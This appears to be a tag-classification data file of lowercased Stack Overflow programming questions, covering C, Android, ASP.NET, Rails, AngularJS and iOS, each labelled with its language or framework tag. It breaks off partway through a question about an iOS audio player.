code prints wrong symbol in wrong format  i need my code to print out   <pre><code>input the number of values: input the values between 0 and 9 (separated by space):  your histogram: 0-3 1-2 2-0 etc. </code></pre>   but it looks nothing like that  help   <pre><code>#include&lt;stdio.h&gt;  void printstars(int n){    int i;    for(i = 0;i&lt;n;i++){        printf( * );    }    printf( \n ); }  int main() {     int i n = 10;     int input[100];     int hist[10] = {0};     printf( input the amount of values:  );     scanf( %d  &amp;n);     printf( input the values between 0 and 9 (separated by space):  );     for(i = 0;i&lt;n;i++){         scanf( %d  &amp;input[i]);    }    for(i = 0;i&lt;n;i++){        hist[input[i]]++;    }    printf( \n\nyour histogram:  );    for(i = 0;i&lt;10;i++){        printf( %d - %d\n  i hist[i]);    }     return 0; } </code></pre>,c
android - to create a test app  is it possible to create a second app instead of a test app   i am looking to create an app for experiments and testing  but i would like to actually make it a real app instead of a test app so i can test various sorts of things on real users as well.    i am wondering what would be the main difference between a real test app for a current app i have  and another real app that i would use for testing.    also  how do i actually make a second real app  is there documentation for how to create a second app under the same account  i am not sure what would be different.    thanks!,android
maintain state of checkbox in asp.net c#  hey frens i am making one project in asp.net c#  in which i have made one column of datagrid view as checkbox. my aim is that if one user checked the checkbox  than when another user login the page checkbox which are checked should be checked and unchecked one should be unchecked i.e.  it should hold its previous state.    so plz suggest me the best and efficient way for this,asp.net
iterate a structure in c  i have a structure   <pre><code>typedef struct  {    uint32 a;    char b     struct xyz *c; }a; </code></pre>   is there a way to generate the following information from the struct    <pre><code>index type    field size 1     uint32   a     4  2     char     b     1 3     pointer  c     8 </code></pre>   i understand that c doesn t allow reflection and  we can use x-macros to get all of these information  but my structures are extremely complex and have thousands of fields to modify and edit to support x-macros. i really appreciate if there is a way or support in c  that i am unaware of    any shell script or python script that can generate these,c
need to use orderby function with groupby function <pre><code>select com_jobcard.job_card_num  sum( worked_qty ) employee.emp_name from timer_completed inner join process on process.id = timer_completed.process_id inner join com_jobcard on com_jobcard.id = timer_completed.job_card_id inner join employee on employee.id = timer_completed.employee_id and process.id =  611  and timer_completed.group_id =  60  and timer_completed.report_date = date_add(curdate()  interval -1 day) group by com_jobcard.job_card_num union  select job_card_num   die_qty id from com_jobcard </code></pre>   in this query i ve used sum() and group by option but my ultimate result is i ve to sort the result with com_jobcard.job_card_num in desc order could any one suggest me,mysql
build elements in jquery and add to dom  i am trying to build a ul list in jquery  however it seems to be only creating the ul element  and not the li     <pre><code>var list = $( &lt;ul&gt;&lt;/ul&gt; ).append($( &lt;li/&gt; ).addclass( test ).text( hello )); </code></pre>   seems simple enough  but not sure why it won t work,jquery
if current time is 1 or more days earlier than starts_at  i have an exam starts_at field  and what i want to do is  if current date is 1 day or more before exam starts_at i want to redirect to somewhere else. and if current date is the same day as when the exam starts_at i want to redirect to the exam page....for now i just want to get the if statement correct  i will put the redirect later.    here is my controller.    <strong>student session controller</strong>    <pre><code>class studentsessionscontroller &lt; applicationcontroller   before_action :set_student_session   before_filter :config_opentok  except: :update   before_action :try_authenticate_user!  except: :mobile   before_action :check_compatability  except: :mobile    def show     @session = @student_session.session     @session_id = @session.session_id     @token = @opentok.generate_token @session_id  :data =&gt;  #{@student_session.id}       # if time.now is 1 or more days before exam starts_at show message     if (@session.exam.starts_at =&lt; time.now)       render :text =&gt;  ok      else       render :text =&gt;  not ok      end      if @student_session.student.present        #usermailer.mobile_link(current_user.email  current_user.name  @student_session).deliver     else       #usermailer.mobile_link(@student_session.email  @student_session.email  @student_session).deliver     end      ua = useragent.parse(request.user_agent)     @student_session.operating_system = ua.os     @student_session.browser = ua.browser     @student_session.browser_version = ua.version.to_s     @student_session.save      render  layout:  application_no_header    end    def mobile     @session = @student_session.session     @session_id = @session.session_id     @token = @opentok.generate_token @session_id  :data =&gt;  #{@student_session.id}_mobile      render layout: false   end    def update     respond_to do |format|       if @student_session.update(student_session_params)         format.js       end     end   end    private     # use callbacks to share common setup or constraints between actions.     def set_student_session       @student_session = studentsession.find(params[:id])     end      # never trust parameters from the scary internet  only allow the white list through.     def student_session_params       params.require(:student_session).permit(:session_status  :publisher_status  :proctor_status  :mobile_status)     end      def config_opentok       @opentok ||= opentok::opentok.new app_config[ opentok ][ api_key ]  app_config[ opentok ][ secret ]     end      def try_authenticate_user!       if @student_session.student.present          authenticate_user!       end     end      def check_compatability       user_agent = useragent.parse(request.user_agent)        # http://tokbox.com/opentok/requirements/       unless (user_agent.browser ==  chrome   and user_agent.version.to_a.first &gt;= 23) or           (user_agent.browser ==  firefox  and user_agent.version.to_a.first &gt;= 22)         redirect_to  /browser        end     end end </code></pre>,ruby-on-rails
how to wrap incoming params with a specific attribute in rails   if i have a <strong>manually created html form</strong> with the following input field    <code>&lt;input type= text  name= email &gt;</code>    it gives the following params <code>{ email  =&gt;  123  }</code>    how can i wrap it with <code>message_fields</code> without specifying it inside the form     eg without the following    <code>&lt;input type= text  name= message_fields[:email] &gt;</code>    so i just want to wrap my params with <code>message_fields</code> from my controller.    controller strong params   <pre><code>params.permit(:comment  message_fields: {}) </code></pre>   the idea is to assign all incoming params to <code>message_fields</code>     which is <code>t.hstore  message_fields </code>    <code> message_fields =&gt;{ :email =&gt; qew } </code>,ruby-on-rails
displaying google map in asp.net page   based on that user latitude and longitude values i need to display his direction in map .i am saving the user latt lan values continuously in db.,asp.net
java hash symbol table implementation  i built a symbol table using an array list filled with an object  pairs  that are singly-linked chains and hold a word and the number of times it occurs in a text file.  i need to use this for the frequencycounter program that counts the number of words in a file.  for some reason  i m getting this error when running the the frequencycounter with the hashst:     <pre><code>processed 1215985 words (19 sec; 19710 msec exception in thread  main  java.lang.nullpointerexception  at hashst.hashindex(hashst.java:60) at hashst.get(hashst.java:105) at frequencycounter.main(frequencycounter.java:112) </code></pre>   i have an idea that there s something wrong with my hashst and its not putting the pairs in the arraylist like i wanted it to.  any suggestions on what is wrong with the implementation would be greatly appreciated.    here is my code and the code for the frequencycounter:   <pre><code>import java.util.linkedlist; import java.util.arraylist; import java.util.iterator;  public class hashst&lt;key extends comparable&lt;key&gt;  value&gt; implements iterable&lt;key&gt; { private arraylist&lt;pair&gt; chains; private int numkeys; private int numchains;   public class pair {     key key;     value value;     pair(key k  value v)     {         key = k;         value = v;     }     pair()     {}      pair next; }      /**  * initialize an empty hashst with a default of 64 empty chains.  */     public hashst()     {         this(64);      }  /**  * initialize an empty hashst with numchains emptychains.  * 387911 is a prime number about twice the number of distinct  * words in the leipzig1m.txt file.  */ public hashst(int numchains) {     this.numchains = numchains;     chains = new arraylist&lt;pair&gt;();      for(int i = 0; i &lt; numchains; i++)     {         pair p = new pair(null  null);         chains.add(p);      } }  /**  * compute the hash index for a key k if the number of  * chains is n  */ private int hashindex(key k  int n) {     return (k.hashcode() &amp; 0x7fffffff) % n;  } /**  * insert the pair (k v) into the appropriate chain and increment   * the number of keys counter or   * update the value for k if k is already in the hash table.  *  */ public void put(key k  value v) {      int i = hashindex(k  numchains);     pair tmp = chains.get(i);     if(contains(k))     {         while(tmp.next != null)         {             if(tmp.key == k)             {                 tmp.value = v;                 return;             }              tmp = tmp.next;         }     }     else     {         pair p = new pair(k  v);         tmp.next = p;         numkeys ++;      }     }  /**  * return the value for key k if it is in the hash table  * or else return null if it is not.  */ public value get(key k) {      int i = hashindex(k  numchains);     pair tmp = chains.get(i);         while(tmp.next != null)         {             if(tmp.key == k)             {                 return tmp.value;              }              tmp = tmp.next;         }       return null;  }  /**  * remove the pair with key k if it is in the hash table  * otherwise no change.  */ public void delete(key k) {      if(contains(k))     {         return;       }  }  /**  * return true if the hash table contains a pair with key   * equal to k else return false  */ public boolean contains(key k) {      return (get(k) != null)   true : false;  }  /**  * return the number of keys in the hash table  */ public int size() {      return numkeys;  }  /**  * return a linkedlist&lt;key&gt; containing the keys in the  * hash table  */ public iterable&lt;key&gt; keys() {      linkedlist&lt;key&gt; l = new linkedlist&lt;key&gt;();     for(pair p : chains)     {         while(p.next != null)         {             l.add(p.key);             p = p.next;         }      }       return l; }  /**  * return an iterator&lt;key&gt; for the keys in the hash table  */  public iterator&lt;key&gt; iterator() {     return keys().iterator(); }  } </code></pre>   and here is the frequency counter: <a href= http://algs4.cs.princeton.edu/31elementary/frequencycounter.java.html  rel= nofollow >http://algs4.cs.princeton.edu/31elementary/frequencycounter.java.html</a>,java
indiviual files upload asp.net c#  when i click on link button for adding more file upload then this add only 1 .. means 1 file upload which is already visible and 1 which is display on clicking on linkbutton ..    but when i click again on linkbutton for adding more then this not display ..    i try this    ok i do this   <pre><code>&lt;form id= form1  runat= server &gt;      &lt;asp:fileupload id= fileupload1  runat= server  /&gt;     &lt;asp:linkbutton id= linkbutton1  runat= server  onclick= linkbutton1_click &gt;upload&lt;/asp:linkbutton&gt;&lt;br /&gt;     &lt;asp:panel id= panel1  runat= server &gt;&lt;/asp:panel&gt;     &lt;asp:button id= button1  runat= server  text= submit   onclick= button1_click  /&gt;  &lt;/form&gt; </code></pre>   suppose there is file upload control.. when we select file by clicking on browse and then click on upload then file name with extension i.e. abc.doc should be display  ... then when we use again same file upload and click on browse and select another file then file will be display i.e. xyz.pdf.. so there is two files  abc.doc and xyz.doc .. so this is want to do .. i want to upload files and display these uploaded files      <strong>update</strong>    for this i try this    <pre><code>    protected void linkbutton1_click(object sender  eventargs e)     {         fileuploadd(fileupload1.filename);      }      public void fileuploadd(string filename)     {         try         {             httpfilecollection hfc = request.files;             for (int i = 0; i &lt; hfc.count; i++)             {                 httppostedfile hpf = hfc[i];                 if (hpf.contentlength &gt; 0)                 {                      smsentities s = new smsentities();                     uploaded_file u = new uploaded_file();                     {                         u.fileupload = filename;                       }                     s.uploaded_file.add(u);                     s.savechanges();                 }                 //hpf.saveas(server.mappath( upload ) +  \\  + system.io.path.getfilename(hpf.filename));                 response.write( &lt;b&gt;file: &lt;/b&gt;  + hpf.filename +   &lt;b&gt;size:&lt;/b&gt;   + hpf.contentlength +   &lt;b&gt;type:&lt;/b&gt;   + hpf.contenttype +   uploaded successfully &lt;br/&gt; );               }          }         catch (dbentityvalidationexception e)         {             foreach (var eve in e.entityvalidationerrors)             {                 console.writeline( entity of type \ {0}\  in state \ {1}\  has the following validation errors:                       eve.entry.entity.gettype().name  eve.entry.state);                 foreach (var ve in eve.validationerrors)                 {                     console.writeline( - property: \ {0}\   error: \ {1}\                           ve.propertyname  ve.errormessage);                }             }             throw;         }      } </code></pre>   so when i select file and click on upload then file name is display .. but when i select again file and click on upload then 1st file name is disappear and 2nd file name is display where as i want both ..     so how i display both filenames ... and when click on submit then record files should be inserted in tables individually i am done with this but not with both filename display at a time ..,c#
how to create a reminder by fetching date from a table and checking it with current date  my table contains an id that is autogenerated  date  reminder    <pre><code>string currentdate=dateformat.getdateinstance().format(new date());  cursor c = data.query( table_name  new string[]    { reminder }  date=  +currentdate+    null null null null);  string value=c.getstring(c.getcolumnindex( reminder ));  c.close(); </code></pre>,android
open new page in the same broswer window without affecting the browser history  the question is for ie7 only  because location.replace(strurl) seems to work file in all other major browsers. i try to execute some analytics js and then redirect the users to the location of a resource (usually doc or pdf) they want to download. the user opens a page containing the js code. after the download is tracked the broswer should load the resurouce url using the following code by replacing the current page entry in the history with the resource url:   <pre><code>if (ie) {             window.open(strurl  _self   true); //doesn t work             //window.open(strurl  _self  undefined  true); //doesn t work             return;         } </code></pre>   this code creates entry in the history for the redirecting page. i have tried using iframe on the same page but ie will pop up a security warning if the file is a *.doc    any ideas,javascript
how can i find pairs of number that swap their position in another row in sql   i have   <pre><code>firstnumber  secondnumber --------------------------    2        |        3    4        |        5    3        |        2    10       |       11    5        |        4    </code></pre>   and the pairs that swap their position are (2 3) and (4 5) so i have to obtain this query   <pre><code>firstnumber    secondnumber ------------------------------    2        |        3      4        |        5 </code></pre>   i don t know where to start,sql
how to set uiview background color with glass effect similar to uialertview  i need to place one textfield with 3 buttons in an alertview. according to uiguidelines it is not possible so instead of alertview i place uiview similar to alertview.    and i animate it like alert view using <a href= https://stackoverflow.com/questions/2690775/creating-a-pop-animation-similar-to-the-presentation-of-uialertview >this code</a>.    if works fine.    it displays with white color background but i need to design same as alertview background color and style like round edged.    how can i done this.    can anyone pls help me.    thank u in advance.,iphone
delete model resource link in action mailer view  i m having a bit of trouble generating a link in action mailer that allows the resource to be deleted when clicked. here s my code for the delete method (which works fine inside of the app):   <pre><code>def destroy     @registrant = registrant.find(params[:id])     @registrant.destroy     flash[:danger] =  your registration has successfully been cancelled.      redirect_to root_url     registrantmailer.cancellation_email(@registrant  @registrant.event).deliver_now     rescue       flash[:warning] =  no registration record found.        redirect_to root_url   end </code></pre>   here are the routes for the application:   <pre><code>prefix verb   uri pattern                     controller#action          registrants post   /registrants(.:format)          registrants#create           registrant get    /registrants/:id(.:format)      registrants#show                      delete /registrants/:id(.:format)      registrants#destroy static_pages_contact get    /static_pages/contact(.:format) static_pages#contact   static_pages_about get    /static_pages/about(.:format)   static_pages#about               events get    /events(.:format)               events#index                      post   /events(.:format)               events#create            new_event get    /events/new(.:format)           events#new           edit_event get    /events/:id/edit(.:format)      events#edit                event get    /events/:id(.:format)           events#show                      patch  /events/:id(.:format)           events#update                      put    /events/:id(.:format)           events#update                      delete /events/:id(.:format)           events#destroy                 root get    /                               static_pages#home </code></pre>   and here is the link from the mailer in which i want to generate the delete link:   <pre><code>&lt;p&gt;can t make the event  click here to cancel your registration: &lt;%= link_to  destroy   @registrant  method: :delete %&gt; &lt;/p&gt; </code></pre>,ruby-on-rails
database entry of select tag selection by user goes as null. how do i put selection id up there in database   how do i put selection id up there in database     i am bit new to ruby on rails. i am trying to setup a form which has birthplace combobox which is populated from birthplaces database.    <strong>database: birthplaces</strong>    <pre><code>id  birthplace  created_at  updated_at 1   new york    -------------   ------------- 2   london      -------------   ------------- </code></pre>   form submission should go to employees’ database with id of selection made by user at combobox. for example user put nick with birthplace combobox selection new york then it should go like this    <strong>database: employees</strong>    <pre><code>id  name        birthplace  created_at  updated_at 1   nick        1       -------------   ------------- </code></pre>   <strong>code: new.html.erb</strong> `   <pre><code>&lt;%= form_for(@employees) do |f| %&gt; &lt;%= f.label :name %&gt; &lt;%= f.text_field :name %&gt; &lt;%= f.label :birthplace %&gt; &lt;%= select( post   :birthplace  @birthplace.collect {|p| [ p.birthplace  p.id ]}  {:include_blank =&gt;  please select } )%&gt; &lt;%= f.submit  save   class:  btn btn-large btn-primary  %&gt; &lt;% end %&gt; </code></pre>        <strong>code: employees_controller.rb</strong>   <pre><code>def new @employees =employee.new     @birthplace = birthplace.all   end    def create     @birthplace = birthplace.all @employees = employee.new (params[:employees])     if @student.save   flash[:success]=  welcome to avis!          render  new      else         flash[:success]=  some errors!          render  new      end   end </code></pre>,ruby-on-rails
how can i extend an angular app without change the original code  like an add-on   i m trying to extend an application built into angular  but i don t want to change the application files  i want to create an external file that interacts with this application and run few more actions on each page. example:   <ol> <li>when route: /projects</li> <li>original app: runs the code to open this page (no changes here)</li> <li>my app: runs at the end of the original action and add more details on this page.</li> </ol>   can i implement such thing with angular  would you provide me an example     this is what i tried until now:    first i tried to interact with the original app module  works  but it replaces the original controller with mine.   <pre><code>angular.module( ac.system )     .config([ $routeprovider   function($routeprovider) {         console.log( routeprovider );         $routeprovider             .when( /projects   {                 template:                     controller:  projectspage              });     }])     .controller( projectspage   [ $http   function ($http) {         console.log( projectspage );     }]); </code></pre>   then i tried creating my own module with the same route  it does nothing.   <pre><code>angular.module( myaddon   [])     .config([ $routeprovider   function($routeprovider) {         console.log( routeprovider );         $routeprovider             .when( /projects   {                 template:                     controller:  projectspage              });     }])     .controller( projectspage   [ $http   function ($http) {         console.log( projectspage );     }]); </code></pre>,angularjs
android adding right border to button which already has background  i have the following xml drawable to define the different background color for the states of my buttons:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;selector xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;item android:drawable= @android:color/white  android:state_selected= true &gt;&lt;/item&gt;     &lt;item android:drawable= @android:color/transparent  android:state_pressed= true &gt;&lt;/item&gt;     &lt;item android:drawable= @android:color/transparent &gt;&lt;/item&gt; &lt;/selector&gt; </code></pre>   how can i add a white border on the right side of my buttons (slightly less in height than the button itself) to act as a divider,android
many-to-many user and event associations  i am having trouble wrapping my mind around this. my goal is to create the simplest following relationships:   <ol> <li><strong>event</strong> belongs_to <strong>poster</strong> (user)</li> <li><strong>event</strong> has_many <strong>hosts</strong> (users)</li> <li><strong>event</strong> has_many <strong>reservations</strong> (users)</li> <li><strong>event</strong> has_many <strong>upvoters</strong> (users)</li> <li><strong>event</strong> has_many <strong>attendees</strong> (users)</li> <li><strong>event</strong> has_many <strong>guests</strong> (users)</li> </ol>   <br />   <ol start= 7 > <li><strong>user</strong> has_many <strong>posts</strong> (events)</li> <li><strong>user</strong> has_many <strong>hosted</strong> (events)</li> <li><strong>user</strong> has_many <strong>reservations</strong> (events)</li> <li><strong>user</strong> has_many <strong>upvotes</strong> (events)</li> <li><strong>user</strong> has_many <strong>attended</strong> (events)</li> </ol>   so far  my approach has been with 4 models:   <pre><code>class event &lt; applicationrecord   belongs_to :poster  class_name:  user    has_many :hosts  class_name:  user    has_many :votes  foreign_key:  voted_id   dependent: :destroy   has_many :upvoters  through: :votes  source: :voter  class user &lt; applicationrecord   has_many :posts  class:  event     has_many :votes  foreign_key:  voter_id   dependent: :destroy   has_many :upvotes  through: :votes  source: :voted  class vote &lt; applicationrecord   belongs_to :voter  class_name:  user    belongs_to :voted  class_name:  event   class membership &lt; applicationrecord   belongs_to :user   belongs_to :event </code></pre>   is there a way i can utilize the membership class for each of the following relationships (except voting),ruby-on-rails
c++ how to call an if statement loop   c++ code where a user enters 2 integers  then the program outputs how many numbers were multiples of 3 between those integers  including both numbers  and how many numbers were divisible by 5.    here is my code.  i think i am not calling the if statements correctly.  maybe i need a switch    <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt;  using namespace std;  int main() {     int numb1  numb2;     int sentinel;     int counter = 0;     int mult3 = 0;     int mult5 = 0;     cout &lt;&lt;  enter an integer: ;     cin &gt;&gt; numb1;     cout &lt;&lt;  enter another integer: ;     cin &gt;&gt; numb2;     cout &lt;&lt; endl;      sentinel = (abs(numb2-numb1)+1);      if(numb1 % 3 == 0 &amp;&amp; counter &lt;= sentinel) {         mult3++;         numb1++;          counter++;     }     else {         numb1++;          counter++;     }      cout &lt;&lt; endl;     counter = 0;      if(numb1 % 5 == 0 &amp;&amp; counter &lt;= sentinel) {         mult5++;         numb1++;      }     else {         numb1++;         counter++;     }     cout &lt;&lt; endl;      cout &lt;&lt; mult3 &lt;&lt;     &lt;&lt;  numbers are divisible by 3 in between your entered integers.  &lt;&lt; endl;     cout &lt;&lt; mult5 &lt;&lt;     &lt;&lt;  numbers are divisible by 5 in between your entered integers. ;     cout &lt;&lt; endl;      return 0; } </code></pre>,c++
asp.net multiline textbox issue with javascript and ajax (jquery)  in my web application i have a textbox called  address  which is multiline and have 3 rows and 250 characters.    i am calling a javascript function in which i am calling ajax to send the data to a webservice for some processing but ajax is unable to process variable which contains multiline text.    i am reading multiline textbox value like this in javascript function.   <pre><code>var puid = document.getelementbyid( &lt;%=userid.clientid%&gt; ).value; var paddress = document.getelementbyid( &lt;%=xaddress.clientid%&gt; ).value; </code></pre>   and passing like this.   <pre><code>$.ajax({     type:  post       url :  dataservice.asmx/updateprofile       data:  { puserid :     + puid +    padd :     + paddress +     }       contenttype:  application/json; charset=utf-8       datatype:  json       success: onsuccess      error: onerror }); </code></pre>   if i comment paddress parameters in ajax  data:  it works fine other wise ajax goes on  onerror  ...oh i just figured out that my address has <strong> b  area</strong> (apostrophe) in it thats why it its giving this problem. so how to parse apostrophe as textbox value and read in javascript variable and write back in database similary.,asp.net
any reason for rootvc to be nill in the following code  i am doing a login view that is working fine  but i decided to check all vc hierarchy and i found out that the root is nil even after i init it like this:   <pre><code>       if([self islogged] == true) {             identifier=@ ipadcontainer ;         } else {             identifier=@ ipadloginvc ;          }         uistoryboard *storyboardobj=[uistoryboard storyboardwithname:@ main_ipad  bundle:nil];         uiviewcontroller *screen = [storyboardobj instantiateviewcontrollerwithidentifier:identifier];         uinavigationcontroller *navcon = [[uinavigationcontroller alloc]initwithrootviewcontroller:screen];         [self.window setrootviewcontroller:navcon];         [self.window makekeyandvisible];         return yes; </code></pre>   so after the app is loaded  i do a nslog in viewdidlod of the ipadloginvc    <pre><code>nslog(@ %@  [[uiapplication sharedapplication] keywindow].rootviewcontroller); </code></pre>   the nslog points that my rootvc is null  and there is one object in the vc hierarchy  and it is the ipadloginvc.    am i wrong or the navcontroller should be the root here and not null pointer,ios
print a popup page  i have a dev express calendar . now  the requirement is that i need to print a particular record. but the problem is that  the record details open in a pop up and i need to print only the popup page. but when i used print on the page it printed the whole page i.e. the pop up and side stuff on the main page.   <pre><code>this is what i did:   &lt;input type= button  value= print form  onclick= window.print()  /&gt;  </code></pre>   so  can u let me know what i need to do to print only the pop up. (excluding page stuff),asp.net
storing 2 hex characters in one byte in c  i have a string of characters that every 2 characters represent a hex value  for example:   <pre><code>unsigned char msg[] =  04ff ; </code></pre>   i would like to store the  04  in on byte and the ff in another byte     the desire output should be similar to this    <pre><code>unsigned short first_hex = 0x04;  unsigned second_hex = 0xff;  memcpy(hex_msg_p  &amp;first_hex 1); hex_msg_p++; memcpy(hex_msg_p  &amp;second_hex 1); hex_msg_p++; </code></pre>   my string is really long and i really would like to automate the process.    thanks in advance,c
difficulty getting params for multiple records in rails  i m working with three separate models  we ll call them: admins  products and reviews.  products have many reviews and reviews belong to products while admins are independent. if a product or review is not helpful or considered spam any visitor to the site has the option of flagging it for review.  in the admin control panel admins can see the products and the reviews in question and edit or delete them.  i can show both reviews and products that have been flagged by users but i can t show them together; for example  say a user flags a review i ll be able to see it but i won t know which product it s under because generally whenever i try to access the product record it dosen t know what the params are.  since <code>@reviews = review.where( flag &gt;     0).order( flag desc )</code> will return all flagged reviews there will be most often more then one so simply saying <code>@product = product.find(id: @reviews.product_id)</code> won t work  however i believe i need something like this which can be applied to each individual review as it loops through all flagged reviews before displaying them with <code>@reviews.each do |review|</code>    admin_controller   <pre><code>def show    @admin = admin.find(params[:id])    @products = product.where( flag &gt;     0).order( flag desc )    @reviews = review.where( flag &gt;     0).order( flag desc )    @singleproduct = product.find(id: review.product_id)  # this is the line that i m not quite sure of  i want to be able to grab each review.product_id as they loop through on the show.html.erb page to show what product goes with the review.  i realize that calling @reviews.product_id would return multiple ids since there are  theoretically  more then one reviews with flags. end </code></pre>   show.html.erb   <pre><code>      &lt;% if @review.blank  %&gt;          nothing to review!       &lt;% else %&gt;       &lt;div class= list-group &gt;         &lt;ul class= list-unstyled &gt;         &lt;% @reviews.each do |review| %&gt;             &lt;li class= list-group-item &gt;  &lt;%= review.comment %&gt; review flagged:               &lt;%= pluralize(review.flag   time   plural:  times ) %&gt;.   &lt;%=  @singleproduct.name   #again  i m not sure how to implement this but i want it to grab the product_id of each @review as |review| loops to show however many flagged reviews there are.%&gt;  &lt;%= link_to  view    product_review_path(product  review) %&gt;                 &lt;%= link_to  delete    product_review_path(product  review)  method: :delete  data: {confirm:  are you sure you want to delete this review  } %&gt; &lt;/li&gt;             &lt;% end %&gt;          &lt;/ul&gt;       &lt;/div&gt;       &lt;% end %&gt; </code></pre>,ruby-on-rails
need comprehensive list of all native objects  i m getting exactly what i want when i do this <code>console.dir(this)</code> in chrome.<br /> is there a way to get that into an array some how <br /><br /> so i ve tried to do something like this to get started:   <pre><code>for(var o in console.dir(this)) {      console.log(o); } </code></pre>   all i get is  undefined  and it prints the list into the console again.<br /><br /> i really just need a name list of all native javascript objects and their respective methods and attributes without the hassle of manually creating and maintaining a monstrous list. ideally the solution would be a dynamically created array of everything; either flat or multidimensional array so i can iterate through it.,javascript
adding time out to blur custom directive in angular js  being new to angular js have no idea whatsoever regarding how custom directives are written. i want to write a custom directive for blur event with timeout included . so far what i have found is    <pre><code>mycustomdirectives.directive( [      blur           ].reduce(function (container  name $timeout) {         $timeout(function(){             var directivename =  custom  + name[ 0 ].touppercase() + name.substr(1);             container[ directivename ] =                 [                      $parse                       function ($parse) {                         return function (scope  element  attr) {                             var fn = $parse(attr[ directivename ]);                             element.bind(name                                  function (event) {                                     scope.$apply(function () {                                         fn(scope                                              {                                                 $event: event                                             });                                     });                                 });                         };                     }                 ];             return container;         } 4000);      }      { })); </code></pre>   it s a fairly complex code and can make no sense out of it trid enclosing it all in $timeout but it s not working . if anyone could help me out figuring how to write on(custom directive i.e) for the above scenario   or just what am doing wrong would be obliged.    below is the partial code   <pre><code>&lt;div class= form-row  ng-class= { styled_forms error :emailaddressempty} &gt;      &lt;input ng-model= .emailaddress  type= email  att-ignore-type id= billemailadd  class= span3  name= billemailadd             att-blur=validatebillingemailaddress();  /&gt;     &lt;div class= alert-error form-row  role= tooltip           id= tooltipcontent7  ng-class= { error-alert :  emailaddressempty}  &gt;         &lt;div class= popover-content  emailaddressempty  &gt;                                    &lt;span tabindex= 0 &gt;                                         &lt;span &gt;please enter an email address&lt;/span&gt;                                     &lt;/span&gt;         &lt;/div&gt;      &lt;/div&gt; &lt;/div&gt; </code></pre>      <pre><code>&lt;button type= button  class= btn   ng-click= cancellink()  &gt;cancel&lt;/button&gt; </code></pre>,angularjs
where can i find my ios app s  registered url   i need the registered url for an app i am working with. i tried this tutorial pointed to in this question. <a href= http://mobile.tutsplus.com/tutorials/iphone/ios-sdk-working-with-url-schemes/  rel= nofollow >http://mobile.tutsplus.com/tutorials/iphone/ios-sdk-working-with-url-schemes/</a>    however this did not work and went into the error. the apps name i am trying to open is ucla library. i am also working on the ucla library and i have access to it. however i never dealt with the registered url before.     is there a setting in xcode or a place in project where i can find what the url is. also if there is a special way to deal with caps and spaces in the name too,ios
what are the relevant classes / frameworks when i want to write / read stuff to / from disk   which classes / frameworks must i look at  i don t want to use 3rd party libs  so just plain old  boring default solutions to read / write text files and stuff like that... is there something like a file io framework,iphone
change picaso to asynctask  i am trying to use <code>asynctask</code> but i don t know how. can you help me to change my adapter to picaso library to <code>asynctask</code>    <pre><code>package com.beamreveriestudio.www.bootcamp;  import android.app.activity; import android.content.context; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.baseadapter; import android.widget.imageview; import android.widget.textview;  import com.squareup.picasso.picasso;  import java.util.arraylist; import java.util.hashmap;    public class listadapter extends baseadapter {     private activity activity;     private arraylist&lt;hashmap&lt;string  string&gt;&gt; data;     private static layoutinflater inflater = null;      public listadapter(activity a  arraylist&lt;hashmap&lt;string  string&gt;&gt; d)     {         activity = a;         data = d;         inflater = (layoutinflater) activity.getsystemservice(context.layout_inflater_service);      }      public int getcount() {         return data.size();     }     public object getitem(int position) {         return position;     }     public long getitemid(int position) {         return position;     }     public view getview(int position  view convertview  viewgroup parent)      {         view vi = convertview;         if (convertview == null) vi = inflater.inflate(r.layout.listdata  null);          textview judul = (textview) vi.findviewbyid(r.id.judul);         textview alamat = (textview) vi.findviewbyid(r.id.alamat);         imageview thumb_image = (imageview) vi.findviewbyid(r.id.gambar);          hashmap&lt;string  string&gt; daftar = new hashmap&lt;string  string&gt;();         daftar = data.get(position);          alamat.settext(daftar.get(daftarwisata.tag_alamat));         judul.settext(daftar.get(daftarwisata.tag_nama));          picasso.with(activity.getapplicationcontext())                 .load(daftar.get(daftarwisata.tag_gambar))                 .error(r.mipmap.ic_launcher)                 .into(thumb_image);          return vi;     } } </code></pre>,android
update scope value when service data changes  i am trying to update the scope value on a view when the service data changes.     the problem is that  (a) if i update the data in a different controller  then (b) the value doesn t update on the view.    main.html   <pre><code>&lt;!-- breadcrumb row --&gt; &lt;div ng-controller= maincontroller &gt;     &lt;span ng-if= membercompany !== null &gt;{{ membercompany }}&lt;/span&gt; &lt;/div&gt; &lt;!-- / breadcrumb --&gt; </code></pre>   main.js   <pre><code>// breadcrumb service app.service( breadcrumb   function() {      // variables     var membercompany = null;      return {         // get compnay         getcompany: function() {             return membercompany;         }          // set company         setcompany: function(value) {             membercompany = value;         }     } });  // main controller app.controller( maincontroller   [ $scope    breadcrumb   function($scope  breadcrumb) {          // get company to display in view         $scope.membercompany = breadcrumb.getcompany();     } ]); </code></pre>   if i update the service value in a different controller  i would like to be able to display that updated value back on the index view so it s viable across the app    other controller   <pre><code>app.controller( othercontroller   [ $scope    breadcrumb   function($scope  breadcrumb) {      // update company     breadcrumb.setcompany( stackexchange );      // update the scope data in the view      }]); </code></pre>   how can i display the updated value on the index view once it s changed,angularjs
pause button when pressed again to resume reloading view controllers  i am using <code>avaudioplayer</code> to <strong>play audio files</strong>  <strong>play/pause button to toggle between play and pause</strong> and <code>nstimer</code> with <code>audio player</code> to synchronize <code>view controllers</code> one after another. i have a total of 10 or 11 <code>view controllers</code> to load one after the other.    when play button is pressed the very first time it starts <code>nstimer</code>  starts playing an <code>audio file</code> and based on <code>nstimer</code>  view controllers will load one after the other.  when pause button is pressed again to resume it resumes everything from that point audio file  <code>nstimer</code> and <code>view controllers</code> from the same point where it was paused which is good. however  at the same time it starts loading the <code>view controllers</code> again one after the other from the beginning based on <code>nstimer</code> which is not good.     it is reloading view controllers with this statement   <pre><code>self.timer = [nstimer scheduledtimerwithtimeinterval:11.0                                               target:self                                             selector:@selector(displayviewsaction:)                                             userinfo:nil                                              repeats:no]; </code></pre>   so my issue is that i need to stop the loading of <code>view controllers</code> again from the beginning when pause button is pressed again to resume playback.   <pre><code>-(void)playpauseaction:(id)sender  {      if ([audioplayer isplaying]) {         [sender setimage:[uiimage imagenamed:@ play icon.png ] forstate:uicontrolstateselected];         [audioplayer pause];         [self pausetimer];     } else {         [sender setimage:[uiimage imagenamed:@ pause.png ] forstate:uicontrolstatenormal];         [audioplayer play];         [self resumetimer];         self.timer = 